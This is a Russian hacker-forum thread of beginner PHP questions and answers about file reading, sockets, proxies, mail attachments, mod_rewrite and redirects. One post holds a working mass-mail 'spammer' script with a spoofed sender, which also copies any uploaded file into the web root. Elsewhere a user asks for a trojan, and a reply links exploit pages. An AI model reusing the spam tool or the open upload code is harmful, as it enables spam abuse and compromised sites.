Просмотр полной версии : [php] Новичкам: задаем вопросы
2 1NtR0
не понял вопроса, какие именно манипуляции ты хочешь?
из тхт считывай fopen (http://ru2.php.net/manual/ru/function.fopen.php) -ом или file_get_contents (http://ru2.php.net/manual/ru/function.file-get-contents.php) -ом
А со строкая поманипулируй тут:
http://ru2.php.net/manual/ru/ref.strings.php
Ну допустим есть файл ,в нём ссылки:
http://qweqwe.ru
http://qsdqsdqd.asd
http://qssdqd
Нужно чтобы допустим взяло первую строку $str и проверило к примеру так:
$f=fopen("$str","rt");
if($f==true) { echo "link is good!"; } else { echo "link is bad!"; }
что то в таком роде, но хз как запихнуть в $str строку :(
<?
$fp=file("file.txt");
for($i = 0; $i <= count($fp); $i++)
{
$f=file_get_contents($fp[$i]);
if($f) {
echo $fp[$i]; echo ":";echo "link is good!";
}
else
{
echo $fp[$i]; echo ":"; echo "link is bad!";
}
fclose($f);
}
?>
Посмотри, работает?
PozziTive
22.07.2007, 16:43
есть какой-нить троян чтобы перехватить логи посещения сайта ? очень надо, помогите плиз
з.ы. сори если я выразился не правильно, я думаю вы меня поняли :) очень надеюсь на вашу помощь :)
Тебе писали сто раз уже...
Вывод опред. строки:
<?php
if(!empty($_GET['id']))
{
$file=file("text.txt");
$string_to_show=$_GET['id']-1;
echo $file[$string_to_show];
}
?>
$fp=file("file.txt");
for($i = 0; $i <= count($fp); $i++)
Для этого используется foreach.
<?php
$fp=file("text.txt");
foreach($fp AS $host) {
file_get_contents($host);
}
?>
Глупо линки проверять file_get_contents.
https://forum.antichat.ru/showpost.php?p=410452&postcount=220
2 Dr.Check
<?php
if(!empty($_GET['id']))
{
$file=file("text.txt");
$string_to_show=$_GET['id']-1;
echo $file[$string_to_show];
}
?>
Я сделал проще:
<?php
$file_array = file( "file.txt" );
echo "$file_array[0]";
?>
<?php
$fp=file("text.txt");
foreach($fp AS $host) {
file_get_contents($host);
}
?>
Не работает!
GoreMaster
22.07.2007, 18:51
Я сделал проще:
Твой вариант выводит только первую строку файла,да твой вариант почти идентичен варианту,предложенному BlackLogic'ом
З.Ы.:убери кавычки в строке с echo, они там не нужны
Не работает!
А чего ты хотел от него хотел?
А чего ты хотел от него хотел?
ыы, прикольна получилось)
вот, у мня все работает
<?php
$file = file( "file.txt" );
foreach($file as $host) {
if(file_get_contents(trim($host)))
echo $host."<br>";
}
?>
GoreMaster
22.07.2007, 19:47
if(file_get_contents(trim($host)))
к чему тут это условие? О_о
<?php
$file = file( "file.txt" );
foreach($file as $host) {
file_get_contents(trim($host));
echo $host."<br>";
}
?>
Не айс?
Повторюсь:
Проверять линки на работоспособность данным методом неправильно. берешь файл с хостами обрезаешь в цикле все http:// и / чем-нипа
$f=file("links.txt");
foreach($f AS $site) {
$site=str_replace("http://", "", $site);
$site=str_replace("/", "", $site);
$site=trim($site);
И конектишься в этом же цикле.
$site = fsockopen($site,80);
Читаешь ответ, или просто смотришь на подключение есть оно или нет.
Всё.
if(file_get_contents(trim($host)))
к чему тут это условие? О_о
<?php
$file = file( "file.txt" );
foreach($file as $host) {
file_get_contents(trim($host));
echo $host."<br>";
}
?>
Не айс?
Не, неайс. Челу ведб нужно проверить валидность ссылок. А тут выдаст все адреса..
need help
вобщем задача сделать скрипт
который бы обращался к указанный странице
через прокси
мой код
<?
$site="";
$proxy="";
$proxy = fsockopen("$proxy",3128);
$otp = fsockopen("$site",80);
$d="GET / HTTP/1.0\n\n";
fputs ($proxy,$otp,$d);
?>
при запуске на хосте выдает
Warning: fsockopen() [function.fsockopen]: unable to connect to 203.106.52.102:3128 in /home/xakerov/public_html/npizzpak/proxy.php on line 3
Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/xakerov/public_html/npizzpak/proxy.php on line 4
Warning: fsockopen() [function.fsockopen]: unable to connect to http://npizzpak.xakerov.org/snif.php:80 in /home/xakerov/public_html/npizzpak/proxy.php on line 4
Warning: fputs(): supplied argument is not a valid stream resource in /home/xakerov/public_html/npizzpak/proxy.php on line 6
Gho_st, если нужна поддержка прокси, проще всего использовать CURL.
http://www.phpclub.ru/detail/article/curl
GoreMaster
25.07.2007, 23:46
Для работы с SOCKS на форуме была тема,там гема выкладывал свою либу,плюс тут недавно Great выкладывал свою функцию для работы с SOCKS 5
используй поиск
побывал разные функции и либы
почему то всё время возникают проблемы с коннектом проксика через Сокеты
как на хосте так и на локалхосте
п. с.
прокси стопудова рабочие
xaker-boss
28.07.2007, 14:05
Люди кто может написать такой скрипт на php чтобы в водиш сылку а он скачивает фаил и ложет его в том же мести где и лежит сам скрипт?
очень надо плиз
Люди кто может написать такой скрипт на php чтобы в водиш сылку а он скачивает фаил и ложет его в том же мести где и лежит сам скрипт?
очень надо плиз
http://rapidget.linux.spb.ru/index.php?info какраз то что надо.. и ненадо изобретать велосипед... подробное описание на сайте
need help
вобщем задача сделать скрипт
который бы обращался к указанный странице
через прокси
мой код
<?
$site="";
$proxy="";
$proxy = fsockopen("$proxy",3128);
$otp = fsockopen("$site",80);
$d="GET / HTTP/1.0\n\n";
fputs ($proxy,$otp,$d);
?>
при запуске на хосте выдает
Warning: fsockopen() [function.fsockopen]: unable to connect to 203.106.52.102:3128 in /home/xakerov/public_html/npizzpak/proxy.php on line 3
Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/xakerov/public_html/npizzpak/proxy.php on line 4
Warning: fsockopen() [function.fsockopen]: unable to connect to http://npizzpak.xakerov.org/snif.php:80 in /home/xakerov/public_html/npizzpak/proxy.php on line 4
Warning: fputs(): supplied argument is not a valid stream resource in /home/xakerov/public_html/npizzpak/proxy.php on line 6
http://usfree.chat.ru/browser.txt неплохой анонимайзер...
по поводу проксей, попробуй юзать из готовых примеров, типа:
http://www.milw0rm.com/exploits/4106
http://www.milw0rm.com/exploits/4098
http://www.milw0rm.com/exploits/3998
таких примеров очень много....
http://www.google.ru/search?hl=ru&newwindow=1&q=site%3Amilw0rm.com+intext%3A%22proxy_regex%22%
Dr.Frank
29.07.2007, 05:37
2 Gho_st
Здесь просто нет коннекта к хосту:
Warning: fsockopen() [function.fsockopen]: unable to connect to 203.106.52.102:3128 in /home/xakerov/public_html/npizzpak/proxy.php on line 3
Здесь(fsockopen) надо вводить только хост, без http:// и названия скритпа, например npizzpak.xakerov.org:
Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/xakerov/public_html/npizzpak/proxy.php on line 4
Warning: fsockopen() [function.fsockopen]: unable to connect to http://npizzpak.xakerov.org/snif.php:80 in /home/xakerov/public_html/npizzpak/proxy.php on line 4
Cawabunga
29.07.2007, 06:39
Люди плс подскажите прогу для написания php только не Notepad ++
Iceangel_
29.07.2007, 08:11
Я пользуюсь PHP Edit (v 1.0.0)
Оф сайт http://svoi.net/phpedit/
Люди плс подскажите прогу для написания php только не Notepad ++
Мне понравилась PHP Designer 2007, для больших проектов очень удобна.
А вообще тема подобная была, поиск.
svoi.NET PHP Edit глючная опасная прога... Глюки у нее не просто какие, а будь здоров - может целые файлы вам похерить, глазом не моргнет.
Сам сейчас пользую PHP Expert Editor, при настройке малой - вполне хорош. Но рекомендовать никому не буду ничего, ибо сам я пользуюсь потому что меня пока устраивает, а альтернатив я пробовал не так много.
spamoney
30.07.2007, 08:51
Такой вот вопрос, нужен скрипт что бы узнать существует ли файл на удаленном сервере и если существует нужно узнать его размер в байтах, залез на http://ru2.php.net/file_exists но эта функция вроде работает только на твоём сервере, а мне нужно что б на удаленном.......
spamoney
30.07.2007, 12:56
Вот что выдаёт
Warning: Call-time pass-by-reference has been deprecated - argument passed by value; If you would like to pass it by reference, modify the declaration of fsockopen(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file. However, future versions may not support this any longer. in /home/*****/******.ru/script.php on line 9
Warning: Call-time pass-by-reference has been deprecated - argument passed by value; If you would like to pass it by reference, modify the declaration of fsockopen(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file. However, future versions may not support this any longer. in /home/****/*****.net.ru/script.php on line 9
Если нет сокетов на сервере, можно просто fopen'ом открыть, если файла на сервере нету - fopen вернет ошибку и ее можно будет поймать ласт еррором (404/403 и т.д.), только чтобы размер файла узнать придется считывать этот файл целиком..
spamoney
30.07.2007, 14:12
Вродь сокеты включены
Sockets
Sockets Support enabled
allow_call_time_pass_reference Off Off
allow_url_fopen On On
groundhog
30.07.2007, 14:21
DWORD, при чём тут есть или нету сокет? Ты сообщения об ошибке читал? Просто на серваке почему-то запрещена передача параметров в функции по ссылке... Происходит это на моменте fsockopen($hostname, 80, &$errnr, &$errstr)... Два последних параметра как видно передаются по ссылке... Выхода четыре:
1) Отказаться от этих параметров, тогда код будет выглядить таким образом: $fp = fsockopen($hostname, 80) or die("Couldn't connect to target host");
2) Прописать строчку в php.ini allow_call_time_pass_reference = 1 если у тебя есть доступ туда;
3) Добавить в файл .htaccess сайта строчку php_flag allow_call_time_pass_reference 1;
4) Добавить вначале скрипта: ini_set("allow_call_time_pass_reference", 1);
spamoney
30.07.2007, 15:01
1) Отказаться от этих параметров, тогда код будет выглядить таким образом: $fp = fsockopen($hostname, 80) or die("Couldn't connect to target host");
Вот так получилось
<?php
$hostname = "suit.ru"; // units.ru - имя сервера
$filename = "/download/74/84/file.3gp"; // интересующий на сервере файл
get_size($hostname, $filename);
function get_size($hostname, $filename)
{
$end = false;
$fp = fsockopen($hostname, 80) or die("Couldn't connect to target host");
fputs($fp,"HEAD ".$filename." HTTP/1.0\n\n");
while (!$end) {
$line = fgets($fp, 2048);
if (trim($line) == "") {
$end = true;
} else {
$str = explode(": ", $line);
if ($str[0] == "Content-Length") {
}
echo "<font color=red><br>Size of ".$filename." file ".$str[1]." bytes</font>";
}
}
fclose($fp);
}
?>
Всё спасибо, работает, но скрипт выводит уж слишком много информации о фaйле
Size of /download/74/84/file.3gp file bytes
Size of /download/74/84/file.3gp file Mon, 30 Jul 2007 10:53:48 GMT bytes
Size of /download/74/84/file.3gpfile Apache/2.0.59 (Unix) bytes
Size of /download/74/84/file.3gp file Wed, 25 Jul 2007 18:22:33 GMT bytes
Size of /download/74/84/file.3gp file "269c00f-361b82-97f04c40" bytes
Size of /download/74/84/file.3gp file bytes bytes
Size of /download/74/84/file.3gp file 3545986 bytes
Size of /download/74/84/file.3gp file close bytes
Size of /download/74/84/file.3gp file video/3gp bytes
А нужен только его размер.....
spamoney
30.07.2007, 15:16
Работает, всем Спасибо!
Не совсем проблема со скриптом а интерпретатором. Вообщем такая проблема Failed: 501 Protocol scheme 'https' is not supported (Crypt::SSLeay not installed), с помошью гугнла нашел решение, сделал ppm install <url> поставил и т.д.(кто делал вкурсе), но осталась таже проблема и собственно вопрос куда надо имено сохранять файлы ssleay32.dll и libeay32.dll в какие директорий?
Uruck-Buhay
01.08.2007, 10:59
Если кому не лень,скажите пожалуйста,как добавить приложение файла к отправке письма на мыло?
<?php
echo chr(52)."<br />";
echo chr(052)."<br />";
echo chr(0x52)."<br />";
?>
как понять в этом скрипте точку и кавычки? и почему br так криво написано. То есть нету закрывающей части?
halkfild
02.08.2007, 12:51
ну точка в пхп использоваится для соединения строк
halkfild, воте сли прочитать то что ты сказал, не юзающему человеку пхп, то бред)
Sadden, в твоем случае точка объединяет chr(52) и <br /> т.е. выводит chr(52) и переводит строку...
Допустим
echo "anti"."chat";
Выведет antichat
А <br /> как раз написан не криво, а очень даже как надо т.к. у каждого тега , мог бы быть закрывающийся тэг, но у этого тега нету и поэтому его закрыват слешем перед закрывающеё скобкой...
Таких не много...
<br /> , <hr /> , <img />, <meta />
Для чего это надо?
Для валидации html страниц!
halkfild
02.08.2007, 14:07
ладно выдержка из офф хелпа..
Строковые операции
Имеются две строковые операции. Первая - операция конкатенации ('.'), которая возвращает объединение из правого и левого аргументов. Вторая - операция присвоения ('.='), которая присоединяет правый аргумент к левому аргументу. Прочтите также раздел Операции присвоения.
$a = "Hello ";
$b = $a . "World!"; // теперь $b содержит "Hello World!"
$a = "Hello ";
$a .= "World!"; // теперь $a содержит "Hello World!"
так понятно всем.. всетаки с офф хелпа
Isis
ведь у <br> нету закрывающего тега. Не такли? И почему слэш в конце, а не спереди стотит? Я просто допустил ошибку начав ПХП с инглиш бука. Думаю я рашен скачаю и вопросов у меня не будет
Если кому не лень,скажите пожалуйста,как добавить приложение файла к отправке письма на мыло?
http://pear.php.net/package/Mail_Mime
качаем отсюда пакет и пишем код подобный примеру:
<?php
include('Mail.php');
include('Mail/mime.php');
$text = 'Text version of email';
$html = '<html><body>HTML version of email</body></html>';
$file = '/home/richard/example.php';
$crlf = "\n";
$hdrs = array(
'From' => 'you@yourdomain.com',
'Subject' => 'Test mime message'
);
$mime = new Mail_mime($crlf);
$mime->setTXTBody($text);
$mime->setHTMLBody($html);
$mime->addAttachment($file, 'text/plain');
//do not ever try to call these lines in reverse order
$body = $mime->get();
$hdrs = $mime->headers($hdrs);
$mail =& Mail::factory('mail');
$mail->send('postmaster@localhost', $hdrs, $body);
?>
При необходимости меняем
$mime->addAttachment($file, 'text/plain');
на
$mime->addHTMLImage ($file, 'image/jpeg');
или аналогичное.
Sadden, у <BR> нет закрывающего тега. Отличие <BR> и <BR/> заключается в том, накаком языке ты пишешь. Если это HTML, то писать необходимо <BR>, если XHTML, то <BR/>.
<br/> даже в HTML норм пашет, для HTML это что-то вроде стиля, как мне объяснили однажды.
HTML это что-то вроде стиля, как мне объяснили однажды
Для HTML это действительно так, т.к. он является упрощенной вариацией языка разметки XML, но с менее строгими правилами.
Что касается XHTML, то это, по сути, XML, использующийся для разметки сайта, т.е. правила написания тегов жесткие.
Одним из таких правил и является то, что у всех тегов, не имеющих закрывающей части (на манер img, hr, br, как уже говорилось) перед закрывающим знаком больше (>) должны стоять пробел и слеш, к примеру, <hr />.
Пробел перед слешем обязателен, но насколько знаю, его наличие не проверяет ни один валидатор.
Есть ли у php оператор безусловного перехода? Например, нужно перейти на какую-нибудь метку как в си/си++ типо goto или асм через префиксы
gibson, он не нужен впринципе.
halkfild
02.08.2007, 21:54
использование готу есть признаком неумения грамотно спроектировать роботу программы
да и в с/с++ оператор готу оставлен просто потому что был когда-то ранее:))
скажи свою задачу которая требует использования готу :confused:
http://pear.php.net/package/Mail_Mime
качаем отсюда пакет и пишем код подобный примеру:
<?php
include('Mail.php');
include('Mail/mime.php');
$text = 'Text version of email';
$html = '<html><body>HTML version of email</body></html>';
$file = '/home/richard/example.php';
$crlf = "\n";
$hdrs = array(
'From' => 'you@yourdomain.com',
'Subject' => 'Test mime message'
);
$mime = new Mail_mime($crlf);
$mime->setTXTBody($text);
$mime->setHTMLBody($html);
$mime->addAttachment($file, 'text/plain');
//do not ever try to call these lines in reverse order
$body = $mime->get();
$hdrs = $mime->headers($hdrs);
$mail =& Mail::factory('mail');
$mail->send('postmaster@localhost', $hdrs, $body);
?>
При необходимости меняем
$mime->addAttachment($file, 'text/plain');
на
$mime->addHTMLImage ($file, 'image/jpeg');
или аналогичное.
А нах качать этот пакет? без него никак?
<?php
session_start(); // открываем сессию
ignore_user_abort(1); //отключаем возможность остановки
set_time_limit(0); // Снимаем ограничение по времени
error_reporting(0); // Отключаем вывод ошибок
?>
<style type="text/css"> <!-- тут все как обычно, таблица стилей -->
html{
overflow-x: auto;
}
body{
background: #E5E5E5;
color: #222;
font-family: Verdana, Tahoma, Arial, Trebuchet MS, Sans-Serif, Georgia, Courier, Times New Roman, Serif;
font-size: 11px;
line-height: 135%;
margin: 0;
padding: 0;
text-align: center;
}
.button{
background: Silver;
border: 1px solid Silver;
color: #000;
font-family: Verdana, Helvetica, Sans-Serif;
font-size: 11px;
padding: 2px;
vertical-align: middle;
}
</style>
<html>
<title>Е-mail спамер</title>
<br>
<FORM ACTION="?" method="post">
<br><b>E-mail'ы получателей...: </b><br>
<TEXTAREA NAME="adres" WRAP="physical " COLS="40" ROWS="5"><? echo $adres; ?></TEXTAREA><BR>
<br><b>Тема сообщения......: </b> <INPUT TYPE="text" NAME="subject" VALUE="<? echo $subject; ?>" SIZE="30" MAXLENGTH="30"><BR>
<br><b>От кого отправлять..: </b> <INPUT TYPE="text" NAME="from" VALUE="<? echo $from; ?>" SIZE="30" MAXLENGTH="30"><BR>
<br><b>Ваше сообщение:</b><br>
<TEXTAREA NAME="mess" WRAP="virtual" COLS="60" ROWS="10"><? echo $mess; ?></TEXTAREA>
<br><br><br>
<input type="hidden" name="action" value=""><input type="submit" class="button" value="Отправить"> <input type="reset" class="button" value="Очистить">
</FORM>
<form action='?action=add_file' method=post ENCTYPE='multipart/form-data'>Путь к файлу : <!-- тут мы добавили новый элемент для загрузки файла-->
<input name='userfile' value='' type='file'><input type='submit' value='Загрузить'></form>
<?
if (isset($_SESSION['name'])) echo "Добавленые файлы: ".htmlspecialchars($_SESSION['name'])."<br>"; // тут мы выводим имя загруженого файла
?>
<?
if ($action=='add_file'){ // добавляем файл на сервер
copy($_FILES['userfile']['tmp_name'], "./".$_FILES['userfile']['name']); //копируем его
$_SESSION['name']=$_FILES['userfile']['name']; //юзаем сессии
$_SESSION['type']=$_FILES['userfile']['type'];
echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL={$REQUEST_URL}?action=\">"; // переадресация
exit();
}
if (isset($action) and $action==''){
if (empty($adres) or empty($subject) or empty($mess)){
print "<b><font color=\"red\">Пожалуйста, заполните все поля...</font></b><br>";
exit;
}
$adres=split("\n", $adres);
$headers.= "From: $from\n"; // формируем заголовок
$headers.= "Content-Type: {$_SESSION['type']}; name=\"{$_SESSION['name']}\"\n";
$headers.= "Content-Transfer-Encoding: base64\n";
$headers.= "Content-Disposition: attachment; filename=\"{$_SESSION['name']}\"\n\n";
$fp = fopen($_SESSION['name'], 'r'); // читаем файл и добавляем его в атач сообщения
do
{
$data = fread($fp, 8192);
if (strlen($data) == 0) break;
$content .= $data;
} while (true);
$content_encode = chunk_split(base64_encode($content));
$headers .= $content_encode . "\n";
for ($k=0; $k<=(sizeof($adres)-1); $k++){ // отправляем
echo 'Выполняется отправка сообщения на '.$adres[$k].'...';
$result=mail($adres[$k],$subject,$mess,$headers);
if ($result==true)
echo '<font color="green">OK!</font><br>';
else
echo '<font color="red">ERROR!</font><br>';
}
echo 'Отправка завершена!';
}
?>
Это пример спамера юзающего атачи... Все что необходимо это правильно составить заголовок(header)
скажи свою задачу которая требует использования готу
for (int i = 0; i < 10; i++)
{
for (int j = 0; j < 10; j++)
{
if (чего-то там)
{
continue;
}
}
}
Два вложенных цикла, нужно выйти из обоих сразу.
Вопрос на засыпку: как в этом случае сработает continue?)
aivus, ну я ведь не сказал, что это единственная возможность.
Твой пример тоже имеет право на жизнь. Можно также использовать сокеты, если php скомпиллирован без поддержки mail(), но всё это ведёт к загромождению кода.
Joker-jar
03.08.2007, 06:26
continue - это переход к следующей итерации цикла. Выйти из двойного цикла можно, как сказал nerezus, либо использовать флаг (как в компилируемых языках)
Сравни вариант с флагами и с goto, что будет выглядеть понятнее и проще реализовано. (уровень вложенности может быть и не два, а больше, сколько тогда флагов будет...).
А насчет continue - это отдельный вопрос, который break'а не касался)
кхм...
$var = $condition ? $v1 : $v2;
если ты об этом, то да
_kREveDKo_
06.08.2007, 00:32
Есть ли ф-ция, выплёвывающая нам номер строки где на данный момент находится указатель?
2b00zy_c0d3r
echo __LINE__;
_kREveDKo_
06.08.2007, 03:19
Не, не то. Ситуация такая: нужно открыть файл с неопределённым кол-вом строчек и дописать туда ещё строку (режим a+), прилепив к ней номер записанной строки в файле. Нужен именно рациональный способ. если он есть конечно. Понятно, что можно читать файл до конца, посчитав скока там строчек и когда дописываешь ещё одну - приплюсовать ещё +1, но это мне кажется ресурсоёмким. Что-нить более рациональное есть?
[upd]
И ещё: нужно принудительно поставить указатель на определённую строку
Если у тебя все строчки добавлялись в файл по этому принципу, то можно считать последнюю строку, "выдрать" из нее номер, добавить к нему единицу и записать в новую:
$f = fopen('file', 'a+');
$str = '';
for ($i = -1, $cnt=0; $cnt < 1; $i--) // <2 если после добавления строки перевод на новую строку
{
fseek($f, $i, SEEK_END);
$tmp = fread($f, 1);
if ($tmp == "\n")
{
$cnt--;
}
else
{
$str .= $tmp;
}
}
fseek($f, 0, SEEK_END);
$str = strrev($str);
Как выдрать номер, одному богу да тому, кто в файл писал, известно. Используй регексп
[upd]
А по поводу установки указателя в нужное место, имхо тут нужен поиск по файлу по методу (не помню как называется, поэтому будет так) случайных чисел.
Суть метода:
• fseek'ом переещаемся в позицию rand(0, filesize($file))
• считываем ближайшую строку
• выдираем из нее номер, если он больше нужного, то изменяем большую границу в rand на текущее положение, меньше - меньшую соответственно.
• возвращаемся в первый пункт
Таким образом гуляем по файлу, пока е найдем нужную строку.
Хоть алгоритм и кажется долгодействующим и неработоспособным - это далеко не так. На ленте препод за 10 переходов угадал загаданное от 0 до 1000 число.
Joker-jar
06.08.2007, 08:31
$sourceimg = imagecreatefromjpeg($url);
какой функцией можно данное изображение сделать бинарным (черное и белое)?
Dr.Frank
06.08.2007, 09:04
какой функцией можно данное изображение сделать бинарным (черное и белое)?
Если при сохранении, то imagewbmp($im); или image2wbmp($im);
wbmp - формат ч/б изображений для мобилы(большие размеры коряво переделываются)
Помогите! У меня есть скрпт на php отображающий статистику.
Всё что-нужно есть...
Теперь нужно слева прилипить картинку вытащиную с сайта и уменьшиную до 60x50.
Плиз помогите!
Размер фона 350x50
Hormold, кто ясно мыслит, тот ясно говорит. К тебе по-видимому это не относится. По нормальному напиши что требуется.
Нужно вставить в юзер бар(с cs-статой) на php слево картинку(например http://img.ru/img.jpg).
Размер юзер бара 350x50
Картинку нужно уменьшить до 60x50.
Работаю с mod_rewrite, вот правило:
RewriteRule ^tyres/brand/(.*)$ index.php?do=tyres_brand&tmark=$1 [L]
Есть также ссылка
http://xxxx.xx/tyres/brand/Nexen+%26+Roadstone
Последняя часть это "Nexen & Roadshore", прогнанная через urlencode()
Суть проблемы:
в $_GET['tmark'] попадает только Nexen, т.е.
$_GET:
Array
(
[do] => tyres_brand
[tmark] => Nexen
[Roadstone] =>
)
Т.е. хоть амперсанд и прогнан через urlencode, он все равно определяется, как разделитель переменных.
Вопрос: как этого избежать?
P.S.: При этом не хотелось бы потерять сам смысл ЧПУ /о варианте с base64 я уже думал/
Хм..так подумал..
Может попробовать
RewriteRule ^/tyres/brand/([^/]+)$ index.php?do=tyres_brand&tmark=$1 [L,QSA]
Хм..так подумал..
Может попробовать
RewriteRule ^/tyres/brand/([^/]+)$ index.php?do=tyres_brand&tmark=$1 [L,QSA]
Это, собственно, ничего не меняет, т.к. mod_rewrite перенаправление делает правильное.
Только при этом он, по всей видимости, прогоняет через аналог urldecode() переменную $1, которую берет из URI.
Можно ли это отключить?
В общем, сделал так:
.htaccess:
RewriteRule ^tyres/brand/([^/]+)$ index.php?do=tyres_brand&tmark=$1 [E=TMARK:$1] [L]
А нужную переменную беру из $_SERVER['REDIRECT_TMARK'], туда попадает в целости и сохранности)
у меня вопрос, вот есть форма, пользователь вводит данные, как сделать чтобы при нажатии на кнопку отсылки данных данные передавались одному файлу а пользователь переходил на другой?
Дана Mysql таблица:
create table lala(ID int,someshit text,primary key(ID));
как инсертить в эту таблицу записи чтобы ID у записи был на 1 больше чем у максимального ID(последней записи)?
myp3zz, просто location меняй, header('Location: script2.php');
Dr.Frank
07.08.2007, 15:58
2scrat
create table lala(ID int auto_increment,someshit text,primary key(ID));
Или что-то похожее, т.е. чтоб при добавлении автоматически присваивался ID на единицу больше
Нужно вставить в юзер бар(с cs-статой) на php слево картинку(например http://img.ru/img.jpg).
Размер юзер бара 350x50
Картинку нужно уменьшить до 60x50.
Может кто поможет?
2scrat
create table lala(ID int auto_increment,someshit text,primary key(ID));
Или что-то похожее, т.е. чтоб при добавлении автоматически присваивался ID на единицу больше
типо вот так
insert into lala(someshit) values("lalalallaallala");
?
Joker-jar
07.08.2007, 16:12
у меня вопрос, вот есть форма, пользователь вводит данные, как сделать чтобы при нажатии на кнопку отсылки данных данные передавались одному файлу а пользователь переходил на другой?
Там, куда передается, принимаешь данные и делаешь редирект
groundhog
07.08.2007, 17:00
Там, куда передается, принимаешь данные и делаешь редирект
Точнее файл обработки будет выглядить примерно так (на языке PHP):
<?php
// Тут идёт обработка входных данных
header("Location: index.php"); // Редирект юзера на заданный файл
?>
GoreMaster
07.08.2007, 17:09
header("Location: index.php"); // Редирект юзера на заданный файл
Главное,чтобы вт процессе обработки не было вывода данных на печать,иначе с header не получится
если есть вывод на печать, то ->
echo "<script>top.location='http://www.нщгк_ышеу.ru/';</script>"
groundhog
07.08.2007, 17:13
Главное,чтобы вт процессе обработки не было вывода данных на печать,иначе с header не получится
Всё получится если сделать так:
<?php
ob_start();
// Тут идёт обработка данных
header("Location: index.php"); // Редирект юзера на заданный файл
ob_end_flush();
?>
Dr.Frank
07.08.2007, 17:35
Может кто поможет?
Создаешь скрипт, например img.php
<?php
$im2=@imagecreatefromjpeg("img.jpg");
$im=@imagecreatetruecolor (60,50);
imagecopyresized ($im, $im2, 0, 0, 0, 0, imagesx($im), imagesy($im), imagesx($im2), imagesy($im2));
header("Content-type: image/jpeg");
imagejpeg($im,"",100);
?>
И берешь картинку уже из этого скрипта, т.е.
<img src='img.php' alt='la-la-la'/>
Dr.Frank
07.08.2007, 17:42
типо вот так
insert into lala(someshit) values("lalalallaallala");
?
Не совсем, создаешь таблицу(полностью пример из БД):
CREATE TABLE `lala` (
`ID` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`someshit` TEXT NOT NULL
) ENGINE = MYISAM ;
И добавляешь в нее код таким способом:
INSERT INTO `lala` (`ID` ,`someshit` ) VALUES ( NULL , 'lalalallaallala' );
Значение ID добавляемого элемента будет всегда больше на единицу предыдущего элемента(даже если его удалили)
groundhog
07.08.2007, 17:49
Доктор, Франк. Вам не кажется, что вы перестарались? :) Определение таблицы у вас такое:
CREATE TABLE `lala` (
`ID` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`someshit` TEXT NOT NULL
) ENGINE = MYISAM ;
А вставить вы пытаетесь:
INSERT INTO `lala` (`ID` ,`someshit` ) VALUES ( NULL , 'lalalallaallala' );
То есть в атрибут с доменом "не пустой" пытаетесь втюхать пустое значение... При вставке в таблицу, содержащую автоинкрементные поля ничего указывать не надо! Первичный ключ сам будет заполнен следующим значением из автоинкремента.
Dr.Frank
07.08.2007, 17:59
2groundhog
Вам не кажется, что вы перестарались?
По-моему в самый раз,
Перед тем, как написать, я все проделал в PhpMyAdmin(для уверенности) и выложил сюда - все работает без ошибок...
К чему придираемся?
groundhog
07.08.2007, 18:04
Оно то может и работает (оптимизатор Sql), но к чему это? Лишняя информация в коде, логически некорректный код... В общем это то, что называется "плохой стиль программирования", да и перенос такого когда на разных Sql-платформах будет вести себя по разному...
myp3zz, просто location меняй, header('Location: script2.php');
дак а если данные передаются скрипту который мне не изменить например который на другом сайте
Joker-jar
08.08.2007, 09:19
myp3zz, тогда данные отправляй скрипту, куда должен попасть пользователь, а скрипт пусть уже отправляет куда надо (через curl это делать удобно)
groundhog
08.08.2007, 10:23
myp3zz, смотря каким методом передаются данные... Если методом GET тогда всё очень просто... Предположим, что твой скрипт обработки называется myhandler.php, а чужой - somehandler.php и при этом ты взаимодействуешь с переменными a, b и c. Тогда, чтобы одновременно обработать данные в твоём скрипте, и при этом передать их другому, твой myhandler.php должен выглядеть так:
<?php
ob_start();
// Тут идёт обработка переменных $_GET["a"], $_GET["b"] и $_GET["c"]
// Редирект юзера
header("Location: http://somehost.ru/somehandler.php?a={$_GET["a"]}&b={$_GET["b"]}&c={$_GET["c"]}");
ob_end_flush();
?>
В случае, если данные передаются методом POST, то тут уже придётся реализовать взаимодействие через сокеты или библиотеку CURL. Если через сокеты, то твой скрипт myhandler.php будет смотреться примерно так:
<?php
$requestContent = sprintf("a=%s&b=%s&c=%s", $_POST["a"], $_POST["b"], $_POST["c"]);
$sendData = "POST /somehandler.php HTTP/1.1\r\n";
$sendData .= "Host: www.somehost.ru\r\n";
$sendData .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
$sendData .= "Pragma: no-cache\r\n";
$sendData .= "Content-Type: application/x-www-form-urlencoded\r\n";
$sendData .= sprintf("Content-Length: %d\r\n", strlen($requestContent));
$sendData .= "Connection: Close\r\n\r\n";
$sendData .= $requestContent;
$socket = fsockopen("www.somehost.ru", 80, $errno, $errstr, 60);
if (!$socket) die($errstr);
$ret = fwrite($socket, $sendData);
if (!$ret) die("Can't write to socket");
$response = "";
while (!feof($socket)) {
response .= fgets($socket, 1024);
}
fclose($socket);
// На данном этапе у нас в $response будет ответ сервера, разумеется
// его нужно будет проанализировать, чтобы понять удачно ли были
// переданы данные. Тут же организуем обработку переменных
// $_POST["a"], $_POST["b"] и $_POST["c"]
?>
Если взаимодействие будет через CURL, то тогда придётся написать что-то типа такого:
<?php
$requestContent = sprintf("a=%s&b=%s&c=%s", $_POST["a"], $_POST["b"], $_POST["c"]);
$sendData = "POST /somehandler.php HTTP/1.1\r\n";
$sendData .= "Host: www.somehost.ru\r\n";
$sendData .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
$sendData .= "Pragma: no-cache\r\n";
$sendData .= "Content-Type: application/x-www-form-urlencoded\r\n";
$sendData .= sprintf("Content-Length: %d\r\n", strlen($requestContent));
$sendData .= "Connection: Close\r\n\r\n";
$sendData .= $requestContent;
$curlHandler = curl_init();
curl_setopt($curlHandler, CURLOPT_URL, "http://www.somehost.ru");
curl_setopt($curlHandler, CURLOPT_PORT, 80);
